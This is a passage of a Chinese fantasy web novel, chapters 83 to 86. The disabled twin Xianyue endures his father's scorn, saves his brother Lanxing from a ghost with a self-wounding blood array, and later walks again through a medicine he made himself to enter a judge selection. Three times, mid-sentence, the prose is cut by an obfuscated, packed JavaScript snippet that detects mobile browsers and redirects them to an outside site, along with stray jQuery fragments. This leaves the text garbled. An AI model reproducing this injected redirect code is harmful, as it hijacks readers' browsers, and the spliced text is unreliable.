衔月道:“我说,他说我什么,重要吗?反正你也不在乎,你只会在意揽星而已,毕竟他才是你健全的儿子,而我只是一个废人。他羞辱我已经不是第一天了,你明明知道,可你有管过吗?今天出事,揽星早已说过起因是因为他对我出言不逊,可你却急着来指责我没有看管好弟弟?呵,桑二说的一点没错,他说我是瘸子,爹不疼,没娘爱,你就是......” 话音未落,啪的一声,火辣的痛感已袭上面部。 惊得揽星立即站起要拦,离凡君立刻道:“跪回去!” 衔月歪着脸,忽而轻笑了一声,道:“我说的果然没错。” 又是一耳光。 离凡君怒极气的浑身发抖,指着衔月指了半天,最后却一句话没说出来,忽而背过手道:“衔月从今日起,罚关禁闭三个月,不许出门,不许任何人与其交谈,违者并罚!” 转头踢了揽星一脚,怒指道:“你,心经抄两百遍,三天内交上来!” 一顿来势汹汹的火发完,离凡君就独自离开了,等揽星回过神,衔月已经爬上了轮椅,默默地离开了,只留给了他一个落寞的背影。 83. 星月无双2 衔月觉得,他实在是个运气不太妙的人。 他的天生残缺是意外导致的。当年母亲怀着他们兄弟二人的时候,刚好撞上狮族来犯,母亲毅然选择随父亲出征,却在之后的打斗中遭一道强劲的恶能击中了腹部。当时瞧着确实无碍,但其实是那狡猾的恶能始终潜藏在母亲的体内。之后又在孕育过程中偏偏都赋予给了双生子之一的他。 以至于他天生脸上就带着带条丑恶的疤,膝盖也是生来就有伤,站立困难。 而弟弟却一切健全,甚至完美的继承了离凡君的修炼天赋。人们对此常道:幸好。 那他呢?就是‘幸好’背后的那份‘不幸’了。 两兄弟,一残缺,一完美。完美的那个自然被寄予厚望,因为天资优秀,揽星很小的时候就被离凡君送到了一位地界大能的隐居地研习修炼极少回家,而他这个残缺者,则被对他心有愧疚的母亲养在身边悉心照顾。 或许是母亲的照护太过完善妥帖,他幼时并未意识到父亲对他的冷淡,他只以为父亲就是那样不爱言语的性格,但在揽星开了灵智的消息传回来的那天,他第一次看到了欣喜若狂如此激动的父亲,从他的眼神里,衔月看到了一种希望的光,而那种眼神,他从来不曾拥有过一丝一毫。 这可能并不算是一件多么重大的事,但却对他幼小的人生受到了巨大的冲击。 上天给了他这样一副破败的躯壳,却又给了他一颗倔强的心,无形间徒增了太多的遗憾与不甘,可他不愿就这样接受,他也想要收获父亲那样赞许的眼神。 从那以后他开始变得格外努力,极少出门,开始每日研读地界的各类术法灵典,虽然他身体有残缺,但好在他的智慧尚还算聪颖,很多书他只需要看一眼就可以背下来,并加以应用,即便修炼的过程中身体常有阻拦,他也并不在乎,如果普通人的身体需要练三次才能成功,那么他就练三百次三千次,直到成功为止。 努力总不会辜负人,即便没有师父的情况下,很快,他还是靠着自己的努力开了灵智。 开灵智的那天,他终于如愿得到了父亲的笑容,当他给父亲一一展示自己练成的术法时,父亲总会微笑着点头赞许,这对于衔月来说,就是莫大的满足。 所以从那之后,他开始更加刻苦努力的学习,尽管以他的身体要修炼总是需要付出比常人多几倍甚至数十倍的艰辛,他也要逼着自己练下去,只因他清楚只有这样才能获得父亲的关注和赞许。而当他坚定地以为他会和父亲这样越来越亲近下去的时候,意外就发生了。 一次,他要炼制一种法器,但所需的一种材料却需要外出才能取到,下人们一向是不爱伺候他这个废柴少爷的,早跑了个没影,母亲也不在,他看着自己的轮椅,下定决心打算自己独身探取。 然而,他那不妙的运气总是来的不巧,当他正在取物的时候,竟然遇到了前来偷袭的狮族残部。 以他当时的灵息,与对方对打无非是以卵击石,很快就被对方擒住了,就在要被对方刺死的瞬间,他的母亲不知何时已追随他而来。 双拳难敌众手,为了救他,母亲只能以寡敌众强拼而上,这样的结局,便是等离凡君匆忙赶到的时候,只看到了倒在一片血泊间的妻子和旁边无助嚎哭的衔月。 父亲一向深爱母亲,甚至超越他和揽星。 衔月觉得这辈子,他都无法忘记父亲那时看自己的眼神。 那是一种怨怼到极致,已化为无边怨恨的情绪,仿佛写着:为什么死的人不是你? 从那之后,他的日子就变了。 父亲就收走了他本就不多的父爱,从极少与他交谈,变成了彻底不与他说话,每每相见总是横眉冷对,绝无好事。 没了母亲的庇护,他在府里更加难熬了,连下人都可以欺负他骂他一嘴,因为所有人都清楚,衔月的父亲厌弃于他,这世界上再也无人会护得这个废柴。 一开始他总是躲在屋里一个人哭泣,时间长了也就麻木了。人嘛,苦吃多了,也就习惯了,除了接受现状还能怎么样呢? 没有人和他说话,那他便就此沉默。他驱散了原本就不愿意伺候他的那些下人,把自己的住所改成了药炉,继续每天研究自己的灵典和药材书,把自己整个人都一心扑到修炼身上,非必要从不与外面沟通。 没有人懂他平静之下极度的孤单和悲伤。 父亲也从未来看过他,不对,是没有任何人来看过他。 直到不知过了多久,他的窗口突然探进来了一个虎头虎脑的活泼身影。 那个看着和他差不多大的孩子,从见到他第一眼就是笑眯眯的,还朝他递出了一个糖人,道:“哥哥,你吃不吃糖人?” 他才知道,原来这就是从出生后就与他分开的弟弟揽星,如今被父亲接回来了。 和他内敛沉默的性格相反,揽星性子活泼待人热情,常常几句话就能和人打成一片,他在房间总能听外面的别的小孩来喊揽星出去一起玩,但这时揽星总是摆摆手道:“算啦算啦,我陪我哥哥呢,你们先走吧!” 他想,或许是血缘的缘故吧,虽然他们兄弟二人自小没有一起长大,性格也是大相径庭,但热烈的揽星就是愿意成天的陪在沉闷的他身边, 对于揽星的热情,他一开始还会有些无所适从,但是揽星好像总是有办法缓解他的局促和尴尬,他这人很无聊,除了背书就是写字,要么就是专心研究自己的药材和法器。揽星也不会烦腻,就叼着根狗尾草在旁边陪着,再拨弄一下他的纸张逗逗他。偶尔也会出门,但凡出门,回来一定会给他带些新鲜玩意,要不就是什么好吃的,要不就是小嘴叭叭叭不停地跟他念叨外面的奇事奇物。 不知不觉中,揽星让他无聊孤单的世界变得热闹丰富了起来,而他也在母亲离开过后,竟然很久违的拥有了幸福感。 某天,揽星正百无聊赖地趴在衔月书桌旁边拿毛笔画乌龟,画了足有一百多只,纸张扔了满地过后他终于觉得无聊停下了,转头一看认真看书的衔月,忽而开口问道:“哥哥,出去玩怎么样?” “嗯?”衔月放下笔,浅笑道:“你想去就去啊,嗯......算起来你确实很久没有出门了。” “哎呦不是!”揽星一个鲤鱼打挺坐起,趴在桌子上看着衔月道:“我是说,我和你,咱们俩一起出去玩。” 听到这句话,衔月登时脸色微滞。 母亲死后,他几乎就没有出过门,并非有人禁他的足,而是他对母亲的死始终心有愧疚,他一直觉得,如果当日他没有冒然自己出府,那么母亲也不会因为救他而死。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375786|124362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揽星见他不说话,手在他面前晃晃:“哥哥,你咋啦?” 衔月回过神,微笑道:“算啦,你自己去吧,我出去要坐轮椅也不太方便,到时候还要麻烦你。” 他没法把心中的想法说出口,便只能用这样的借口去搪塞。 揽星果断道:“怎么会麻烦呢!我巴不得你跟我出去呢,我早就想跟你一起出去玩了,我跟你说哥哥,我发现了一个特别好的地方,从那可以看到绝佳的美景!真的,我觉得你一定喜欢!” 看得出来他在极力抛出诱惑,衔月还是勉强笑道:“还是不了。” 接连收获拒绝的揽星当时就瘪起了小嘴,哦了一声转身就背对着衔月坐下了。 衔月偷瞄他,发现他被拒绝了就干坐在那里也不动作,揽星很少在他面前几乎没有闹过脾气,如今这样了,一定是心里非常不舒服了。 他思考了一阵,觉得自己还是有必要哄下弟弟,于是便开口道:“别不开心啦,我有好东西给你你想不想看。” 揽星不说话。 衔月干脆不打哑谜了,直接道:“我刚研制出了一种特别滋补的灵丹,用料很难得哦,我特意给你准备了一瓶,怎么样,你看看?” 揽星还是不说话。 衔月很难得的有些抓耳挠腮了,想到什么就说什么:“或者我做的那些法器,你有什么喜欢的,都随便你拿怎么样?” 揽星这回倒是有动作了。从衔月的视角来看,只见揽星面前的空地突然落下了一滴水。 衔月大脑嗡的一下,刚刚反应过来那不是一滴水而是一滴泪的瞬间,揽星的肩膀就开始剧烈的抖动起来,身体也变成了抱膝而坐。 他懵了。 他去扒拉揽星的肩膀,揽星竟然避开了,仍是埋着脸身体一抽一抽的,感觉哭的更伤心了。 这这这这这这可如何是好啊!他哪见过这种阵仗? 无论他说什么做什么,揽星都不理他,就一个劲自己哭的畅快惬意。 谁说女孩哭了不好哄的?男孩也是的吧! 衔月抓耳挠腮半天,实在没办法了,心一横大声道:“好啦好啦,我答应你出去好吧?” “真哒?!” 揽星几乎是瞬间转了过来,趴在书桌上,两眼放光,满分期待地看着他。 干净的脸上只有笑意,哪有一点泪痕? 衔月登时反应过来:“你居然装哭骗我?” 揽星嘟囔道:“哪有?我也没说我哭了......” 衔月哼了一声,不理他接着写字了。 揽星立刻急了,一个劲的扒拉他胳膊,说话声音也开始赖唧唧的:“对不起嘛哥哥,我是真的想跟你一起出去玩,你就答应我呗,你刚都答应我了,答应我吧答应我吧啊啊啊啊啊——” 衔月被他晃荡地完全无法正常写字,一转头正对上揽星一眨不眨看着他的眼中满是炽热期盼,只觉得这眼神熟悉又久违。 这个世界上,好像只有母亲对他露出过这样含有期待的眼神。 其他的人对于他,眼睛里往往都是厌弃、绝望和想要远离。 一瞬间只觉得心口一阵暖流划过。 ...... 良久,他无意识地已点了下头,道:“好,我答应你。” 84. 星月无双3 第二天傍晚揽星就把衔月推到了地界的一处山头。 衔月极目远眺,所见天边一轮红日渐渐西沉,晚霞如锦,绚丽多彩。看来揽星之前言语并未夸张,此地景致确实甚好,再深吸一口气,只觉得心中畅快无比,整个人都松散下来了。 不禁暗叹:有多久没有这种毫无负担感的心境了呢? 揽星掐腰得意道:“怎么样哥哥?没骗你吧,真的很好看!” 衔月正待回应,却在此时,远方天际骤变,一番美景瞬息之间被滚滚的黑云覆压,狂风呼啸而过,伴随着令人胆寒的凄厉叫声,回身,一只厉鬼已从草丛间走了出来。 这是只品阶极高的厉鬼,光凭它那不堪入目的外貌,就可猜到其邪性甚强。 他们不知,这恶鬼在山脚处就已经跟上了他们,只是途中山路地形复杂不好出手,一直等到他们到了毫无退路的山顶,才终于现出踪迹。 如今,它已按捺不住了。 果不其然,下一瞬他就朝二人飞扑过来。 “哥哥退后!” 话音甫落,揽星已化出辰宿剑迎了上去。 衔月手紧紧地攥在轮椅扶手上,瞧着双方对战,这是揽星第一次在他面前展现实力,与厉鬼几番缠斗,须臾之间就已让他十分佩服,不禁感慨十二岁的揽星竟然就能有如此强烈的灵息力量! 这厉鬼显然也并未预料到眼前小儿竟有如此实力,很快正色,它张开血盆大口在瞬息之间喷出大量的黑色雾气。 雾气所到之处,霎时草木皆枯。 揽星眼神一凛,急忙挥动辰宿剑,化攻为防,抵挡雾气侵蚀。 然而,终是他低估了厉鬼的狡猾,他收剑的那一刻,厉鬼身形急转,转瞬之间直接己身穿梭进了雾气绕到了揽星身后! 衔月旁观者清,看清他伸出的利爪,惊呼道:“揽星小心!” 揽星匆忙转身终是晚矣,那尖利似野兽的手掌一瞬之间已贯体而入。 鲜血喷溅的残酷景象一分不差的落入衔月的眼里,揽星手中长剑铛的一声坠地,倒在了衔月的面前。 那一幕实在太过震撼,衔月如同遭惊雷劈中,久违的窒息感瞬间将他淹没,眼前景象竟和多年前的一幕交相重叠在了一起,一瞬之间仿佛把他拽回了当初母亲惨死在自己面前的时刻。 他浑身颤栗,心脏狂跳,看着面前的厉鬼一步一步走近揽星,准备吞噬他来之不易的战利品。 厉鬼发出桀桀桀的笑声,丑陋的面貌因为狂喜之色溢出而变得愈发狰狞。 未料,他刚伸出手,身侧竟突然亮起了银色的法阵,晃得他睁不开眼,他勉强注目望去,看到那光阵中央的竟是他从始至终都没放在心上的瘸腿小儿。 衔月愤恨地望着他,持着短匕的手剧烈地颤抖。 那短匕看着实在没什么威慑力,厉鬼刚想道一句:小儿不自量力。谁知下一瞬,衔月竟将短匕反之朝自己的右手腕间狠狠一划! 这一划实在下了死手,血流霎时奔涌而出,有指向性的流入法阵,银色法阵须臾之间盈满血性,化为赤红色醒目的血阵,那血阵带着极强的吸引力,强烈到厉鬼正愣怔之时,已被夺走了身体的控制权。 它一步一步地自行踏入了阵中,而后停下,动弹不得。 鲜红的血仍在顺着衔月的手腕汩汩冒出。 瞬息之间,血阵之中飞出成千上万条暗影刀锋,每一条都狠厉地刮在厉鬼身上,痛苦使他发出愤怒的咆哮,身上冒出缕缕黑烟。 以燃烧消耗自身血元作为源头途径,形成具备强烈力量的血阵,可在须臾间夺人性命,此番操作堪称玉石俱焚,实在愚蠢,却又实在有效。 厉鬼挣扎着转头望向将自身之血仍源源不断注入血阵的衔月,恶狠狠道:“再这样下去,你也会死!” “那又如何!”衔月道:“我只赌你的邪气一定消耗的比我更快!只要你死在我前面,我就......” 他艰难地看向揽星:“我就可以救下他!” 厉鬼冷笑道:“值得吗?” 衔月道:“为重要之人,值得!” 他决不能让母亲死在自己面前的悲剧再度上演! 灵息被身体消耗到极致,血液的快速流出让他脸色惨白,随着一道划破天际的凄厉惨呼,最后一缕象征邪恶的浓郁黑气被驱散于血阵之内,天际再度恢复清明,血阵内所有的血元回归阵主体内。 他赢了。 这一次,他终于救下了想救的人。 衔月虚弱地垂下了手,腕间割痕醒目深刻,却是不管不顾下意识想要上前去够远处晕倒在草地上的揽星,失去平衡轮椅骤翻,他就趴在草地上一步一步地挪向揽星,只是不消多会儿,就晕了过去。 他们被路过的地界修士救了送回了府里。 衔月晕倒不多时就已转醒,还好血阵将他的血元退回的还算及时,并未对他造成实际伤害,除了身体尚感较虚,便只有那道出自他自己之手的腕间划痕了,但也已被包扎完好了。 身边毫无一人,他猛然惊觉,揽星呢? 他匆忙赶到揽星的卧房,门口被围的水泄不通,他好容易挤进去,里屋也是被下人和医师围了里三层外三层,众人脸上无一不是担忧神色。 他心一下子提了起来,但还好下一瞬医官就脱口一句让他安心的话:虽伤重,但无生命危险。 揽星因为受到厉鬼的邪气浸染,再加上遭烈掌贯体的外伤,确实不是短时间就能够恢复的,恐怕光昏迷都要昏迷一阵了。 医官起身,屋内的人左右动作给他让开了一条道让他出去,却也露出了刚刚身处最里层陪伴着揽星的的离凡君。 他送医官出门,措不及防地衔月就与他对上了眼神,然而下一瞬,他就给了衔月狠狠的一耳光。 一耳光下去,全屋人都安静了。 离凡君怒极指着他道:“你!你到底还要害死多少人?” 衔月难以置信地望着他,他设想过无数种父亲可能会对他说的话,但绝想不到开口竟是这句。 离凡君痛心疾首道:“为什么!你为什么不能好好地待在家里,为什么偏偏要出去?!害死了你母亲还不够,还要你弟弟也给你赔上命吗!” “......” 一瞬之间,惊诧、愤怒、委屈、痛苦,交错混杂着袭过衔月的面容。 好一阵他才回过神,视线一一扫过屋内此刻每个看着他的人,他们早已不是看向揽星时的那种倾慕、担忧的眼神了,他们此刻更像是在看一出精彩的好戏,而他就是那出好戏里最大的丑角,而这丑角的身份,甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408601|124362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是他的亲生父亲为他亲手安上的。 他手握住了被纱布包住的那只手腕,艰难地开口道:“为什么你总是这样开口就指责我?”指着床上的揽星道:“你知他伤重,可有问过我经历了什么,你可知我险些......” “那重要吗!”离凡君打断怒斥道:“我只知道,现在躺在上床差点死掉的人是你弟弟,不是你!” 衔月噤声了,不是他无理了,而是他突然间明白了一件事情。 眼前的这个人,从始至终,好像从来都并不在乎他说了什么。 他问重要吗?是啊,他的所言所行,甚至于他本人,对于父亲而言从来就不是重要的存在啊...... 他怎么把这个给忘了呢? 那么他的开口也没有那么必要了。 因为不管说什么,他都是错的,因为他存在的本身就是错的。 只是他看着离凡君目眦尽裂瞪着他的双眼,心中还是会不禁产生一个疑问,如果今日躺在床上的是他,那么眼前之人是否也会如此情绪激动崩溃? 这并不是一个难解的问题,因为答案早藏在过往生活里的各处了。 他哑口半晌,因为手上太过用力鲜血汨汨涌出,染红了缠在腕间的白色纱布,也多亏了这抹刺眼的红,才让他回过神来。 而父亲早已不在他面前,揽星似乎有了转醒的迹象,所有人都再度围到了他身边。衔月还是像他刚进来的时候一样,站在最外层,明明只有几步的距离,但是这段距离他好像永远都跨不过去。 他很想哭,又突然很想笑,因为觉得自己实在可笑,他无论做什么都是白费功夫,因为在别人心里,他就是那样一个会给人带来厄运的丧门星。 人人道他给别人带来不幸,可也有任何一人怜惜过他遭受的不幸? 毫无一人。 没有人注意到他是什么时候离开房间的。 他失魂落魄地摇着轮椅,走的很慢很慢,却一次也没有回头。手腕伤痕随着动作传递来强烈的痛感,但跟心里的比起来,好像也不算什么。 他回到了自己的药炉,好像没事人一样继续捣弄自己的药材,捣出来的药汁味道很苦,苦的都呛的人想流眼泪。 一滴,两滴...... 渐渐泪如雨下。 ...... 衔月猛然睁开双眼,胸口起伏喘着粗气,直到嗅到药舍里常年漂着的那股苦涩之气,才意识到自己又做噩梦了。 他撑着身体坐起身,手插进自己披散的发际间,叹了口气,轻笑道:“果然,每次和父亲有交流,当晚就一定会做噩梦,想起过去的事情。” 他下了床,坐轮椅来到药桌边,从抽屉里取出了一个精致宝匣。 翻开,一颗药丸静静卧于其中。 他拿起,借着投射进来的月光静静端详,眼里似燃起了希望的光。 这不是寻常的药丸,这是一颗可以让他站起来的药丸。 那年遇袭过后,他曾暗暗发过誓,从今以后,他将不再期待任何人的认可,一切只为自己而活,一切为自己而争! 而这颗他精心培育多年而成的药丸,就是他最大的机会! 衔月唇边已现笑意,忽而听一旁药舍紧闭的窗户传来短暂且急促的咔咔两声敲响。 85. 星月无双4 准确来说并非只有两声,而是连着好几声,一直响个不停,衔月试图辨认其中的敲击节奏。 大致听起来像是连着的急促两声,又一声,再急促两声。 这个节奏...... 他的记忆一下子被拉回几年前,那时,揽星每每来找他,总是故意用这种活泼的节奏敲门,久而久之,他甚至不用开口问来者是谁,一听敲门声,就带着笑脸去开门了。 只是,这次开门,迎接揽星的早已不是那张熟悉的笑脸了。 窗户咔的一响而后大开,露出衔月面无表情的脸,语气也是冷冰冰的:“你来干什么?” 揽星挠挠头,尬笑了两声。 他确实不该出现在此。 其实,当初他重伤苏醒后知晓父亲所言,就迫不及待去找衔月解释的时候,衔月就已经一改之前和他的亲近态度,变得冷漠如霜了,不仅如此,衔月还勒令他从此以后不要再来找他,也不要再跟着他了。 衔月这样对他,他其实很委屈,毕竟那些话都是父亲说的,又不是他说的,不能代表他的意思,可转念一想,衔月不惜开启血阵也要救他的命,又在众人面前被父亲那样对待,哥哥理应是比他更委屈的。 想到这,他便果断抛掉自己的失落,开始更耐心地试图劝说衔月,然而无论他说什么,衔月只有那句无比冰冷透彻的—— 我说了,离我远一点。 衔月对他的厌恶尽数形于色,甚至为了阻挠反复登门的他,直接在药舍门口设置了阵法阻拦他靠近,平日里如果走出药舍,也是能躲着,就躲着他走。 他知道衔月坐轮椅行走不方便,如果要躲着他便常常只能绕路,这对衔月来说平白多了诸多不便,他就只有看似放弃了与他纠缠,而是选择暗地里跟着衔月,如果有什么事,他再现身帮忙。 就像今天一样。 静默了一阵,在衔月忍不住要动手关上窗户的时候,揽星终于开口道:“我,我想来看看你。” 衔月冷哼一声,道:“看我做什么?我好的很。” 他的神态十分高扬,看着确实没有一点失落的样子,揽星那张脸霎时就如释重负般,露出一副好似在说“幸好”的神情。 其实,他十分担心衔月会再度因为今天父亲的言语陷入低沉,而现在听见衔月这样说,他终于放下了心,喃喃笑道:“那就好......那就好......” 或许是白日揽星帮了他又在父亲面前极力维护他,衔月心中情绪微微有些复杂,并没有像往常般开口就赶他走。他看着抿着嘴唇,一副努力在思考措辞样子的揽星,忽而注意他一手背后,好似拿着什么东西。 衔月皱眉道:“你身后拿的什么东西?” 揽星一愣,脸上涌上一层红,把身后的东西拿出来,递给衔月。 揽星磕巴道:“那个,那个,请你,请你吃。” 那是一包烤串。他这样拿近,衔月才闻到点味道,想来应该放了很久都凉了味道散的没那么远了,所以刚才放在身后时衔月才会一点味道闻不到,而见他扭捏的神色,想必揽星在他门口应是纠结了良久才敲的门吧。 用这东西哄人开心吗? 也就只有他想得出来了。 衔月盯着他看了会儿,也不言语,半晌忽而转身独自往里屋走去了。 揽星登时慌了,是赶他走的意思吗?但是也没有像平时一样关上窗户,那是...... 衔月的声音陡然又在屋内传来:“还不进来?外面很暖和是吧?” 确实不暖和,这会儿已然是初冬时节了,然而衔月这句略带斥意的话,却莫名让揽星登时心里暖了起来,抬起腿就迫不及待地奔进了屋。 矮桌前后,衔月揽星各坐一边。 茶壶中的水翻滚起来,流散出缕缕清香。揽星坐的规规矩矩,心里又紧张又激动。衔月则神色如常,静静倒了杯茶,又轻轻推到他面前的桌上,道:“喝口茶,暖暖身子吧。” 揽星登时笑了,捧起杯子就喝。 动作之急,衔月阻拦的话还没说出口,杯壁已经挨上了揽星的嘴,登时一阵火灼烫意袭来,扑哧一声他下意识扔了,茶杯带着滚烫的茶水飞洒在了旁边地上,他也没烫的够呛。 他手掌连连扇着口舌。衔月皱起眉道:“急什么?” 手上却是给他又重新倒了一杯,而且好似怕他心急又烫到,递过去的时候又施了术法让茶变温了。 阿宋在外面看着,不由得挑眉又叹口气道:这兄弟俩明明都是关心对方的,偏偏要做出这副样子。 衔月一起身,揽星立刻道:“哥哥你干嘛去?” 衔月身形微顿,从旁边拿了卷书简过来,坐回他对面原处,冲他晃晃手里的书道:“拿本书看,不行?” “当然可以!”揽星立刻答。 衔月没说话,展开书简专心看自己的书了。揽星把那包烤串摊开朝衔月推近了些,道:“哥哥你吃。” 衔月一个眼神都没给,看着书道:“这些东西会对我的身体不好,我不吃。” “呃。”揽星尴尬地笑了,道:“那我吃,哈哈,哈哈。” 他略为悲愤地使劲咬了几口肉下来,一边咬一边心里想自己怎么不拿点衔月能吃的东西过来,还能趁机和哥哥多说几句话。 悲愤良久,不经意一抬头竟看到衔月嘴角好像噙起了笑,以为自己眼花了再度注目看去,笑容就没了。 果然是他眼花了。 但视线一转,看到了衔月书简外侧上标注的书名,他立刻激动道:“哥哥,你也要去参加判官擢选吗?” 衔月那本书简上,标注的正是地界近日刚刚发布的关于新任判官换届的告示。 揽星兴奋道:“太好了!那我们可以一起了!” 衔月冷冷道:“父亲并没有给我报名,他只给你报了。” 揽星的笑容僵在脸上。 衔月冷漠的嘴角忽而微微弯起,笑容带着一丝阴冷道:“但是没关系,我自己给自己报了。” 瞧揽星欲言又止,衔月放下书简,看着他道:“你是不是想问,我这样的身体,要如何参加判官擢选的训练和考试?没关系!我已经研制出了可以让我的身体和正常人一样行走的药物了。” 他的目光骤然间变得锐利:“我一定会赢下来,成为第一名。” 转头看着不说话,就呆愣愣地看着他的揽星,皱眉道:“你还想说什么?” 揽星回过神,轻声道:“没、没,哥哥,其实我只是想问你需不需要我帮你一起准备去训练营的东西。” 衔月一愣。揽星紧盯着的视线让他颇有些不自在,他咳嗽一声,起身坐到轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451415|124362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 椅上,往药舍里屋的卧房滑过去,临进门前道:“天色很晚了,吃完就早些回去吧。” 语毕就滑进去,关上了门。 揽星看着那紧闭的门窗,心里涌上一股久违的幸福感,回身,继续埋头吃他的那堆早已凉掉的东西了。 只是,吃的何其津津有味。 判官擢选报名者集合的那天,曜旸宫大殿外的广场上被报名者围得水泄不通。 地界的判官擢选,通常以三十万年为一期召开换届选拔大会,而擢选过程之繁琐,通常要历经数年。 首先,地界会通过发布告示,告知地界灵族各家家主,将各家符合年龄要求并且有意愿的孩子送来曜旸宫,进入训练营,进行长达七年的培训和考核。 而最后几十名甚至几百几千名的孩子们,在经受不住严苛训练主动放弃或是在无数次竞争考核中不达标后,最后只会产生一名胜者,登上最终的判官之位。 很艰难,但是只要赢了,成为判官,便举家荣耀。 所以报名人数才会如此众多。 人群中,还有一簇人数少一点的人群,有什么人好像在被簇拥着,周围人的视线也是频频侧目而去,交头接耳地说着什么。 揽星无暇顾及这边的热闹,一心在到处乱瞄衔月的身影,心里着急的不行,已经快到集合的最终时间了,他还没来。 忽然,长阶边侧又掀起了另一轮议论声,揽星被声音吸引驻目望去。 “他怎么来了!” “这不是离凡君家的瘸儿子吗?” “我去!还真是,他什么时候能站起来了?!” “真是他吗?不说他的腿是天生残废的吗?!” 他们的议论声绝不算小,衔月都能听见却选择置若罔闻,只专心走着自己脚下的路,他缓缓步行于长阶之上,每一步都走的很稳。凝重的脸色,直到双腿彻底站在广场前的平地上,看着面前恢宏的曜旸宫,他才长出一口气,露出笑容,却忽然双眉抽动了下。 他一只手向下摸去那只他有残缺的膝盖,正在微微作痛。 他研制出的那种药,虽然具备可以让他站起来的回天之能,却也有瑕疵,便是每隔一段时日,或是在他情绪波动较大时,那处有伤的膝盖就会隐隐生疼。 无妨,缓了片刻,疼痛感便消失了。他刚站直,揽星就跑了过来,看见他就笑眯眯道:“你来了哥哥。” 衔月冲他点点头。 一个陌生的男声突兀地从二人身边响起:“这二位,就是离凡君家的两位公子吧!” 揽星衔月望去,来人一身紫色锦袍,锦袍边缘还绣着金色的丝线,腰间系着条看着就价格不菲的腰带,瞧他样貌有些眼熟,揽星下意识开口道:“你是?” 他没说话,旁边跟着他的倒是先开口了:“这你都不知道?这可是桑陌公子!” 衔月一下子知道为什么他会眼熟了,这位桑陌,就是判官家里的大儿子,也是那天那位桑二的亲哥,样貌自然相似。 揽星也想起来了,刚才那群人围着的就是他。这位桑陌和他那位不干好事的弟弟不一样,和他弟弟相反,这位是专干好事。 他的年纪还比揽星衔月小一岁,就已经因为有了诸多除妖伏魔的美名事迹传播在外,是以追随者众多。 可是,他找他们来干什么? 86. 星月无双5 桑陌郑重朝揽星行了个礼道:“早听闻离凡君家的二公子揽星修炼有道年少有为,今日有幸终得一见,日后作为同修,还望多多指教。” 揽星立即回礼,微笑着谦虚回道:“没没别这么说,应该说是互相指教!而且说起来,桑公子才是真的年少有为,我之前就经常听说关于你的各种事迹呢!” 桑陌旁边的壮跟班骄傲地哼了一声:“废话,这还用说!我们桑哥儿最厉害了!” “阿峰!”桑陌立即轻叱了一声,转而抱歉地朝揽星笑笑,视线一转,落在旁边眉眼皆冷沉默不语的衔月身上。 他道:“这位就是大公子衔月吧?我曾听闻月公子自小便潜心钻研精于医术,我于医道上有诸多百思难解的疑问,还望日后相处中,能求衔月公子帮忙解答一番。” 衔月一眼扫过去,落在桑陌对他露出的友好笑容上。 那笑容的弧度牵起的恰到好处,让人挑不出一点毛病,但正是如此,反而让人觉得不太舒服,因为那笑容在他看来并不诚心,反而像是为了达到某些阴险的目的,而故意做出的。 衔月轻笑一声,冷言道:“精于医术这四个字,我应该还配不上。” 桑陌的笑容一僵。 衔月看着他继续道:“在下不过学点皮毛而已,堪不了大用,桑公子的问题定然高深莫测,恕我能力不够无法为您解答。” 语毕,他便抛下在场众人转身独自绕开走了。 没走几步,就听到跟上来的脚步声,侧目,果然是揽星,他在旁侧小声埋怨道:“哥哥你等等我!你怎么了,跟他之前见过?有过节?怎么这个态度?” 衔月道:“没见过,但也不想理。” 揽星道:“可是我觉得人家态度还蛮好的诶,还主动跟我们打招呼,跟他那个小坏蛋弟弟完全不一样!” 衔月忽然停下脚步,看向揽星,幽幽而严肃道:“你在这世界上,并非说是主动对你投以好态度的人,就一定是好人,对方也许是想用这种方式来让你放松警惕,之后再行害你之事。” 揽星有点吓到了,磕巴道:“这、这么严重吗?” 衔月道:“我不是说他一定会害你,只是打个比方。这个桑陌,我之前搜寻报名者资料时,曾了解过,他是个极其圆滑懂得为人处世,拉拢旁人到自己阵盟的人,而且,因为自身能力强,父亲又是上一任判官,所以在群众里呼声很高,其他人中能与他呼声比肩的也只有一人而已。” 看揽星一脸茫然,他不禁反问道:“这些你来之前,都没有提前了解过?” “没啊。”揽星摇摇头道:“哥哥你好厉害!这些都知道,那另一个人是谁啊?” 衔月道:“你。” “......”揽星道:“啊——啊?!我吗?” 衔月看他满脸惊讶,十分无语,叹了口气接着道:“就是你。我猜,他刚才故意向你示好,要么就是想让你放松警惕日后有机会探知你的底细,要么就是单纯的想和你拉近关系成为盟友,毕竟以你的能力,在这训练营里,可以帮他先排除掉一大部分人了。” 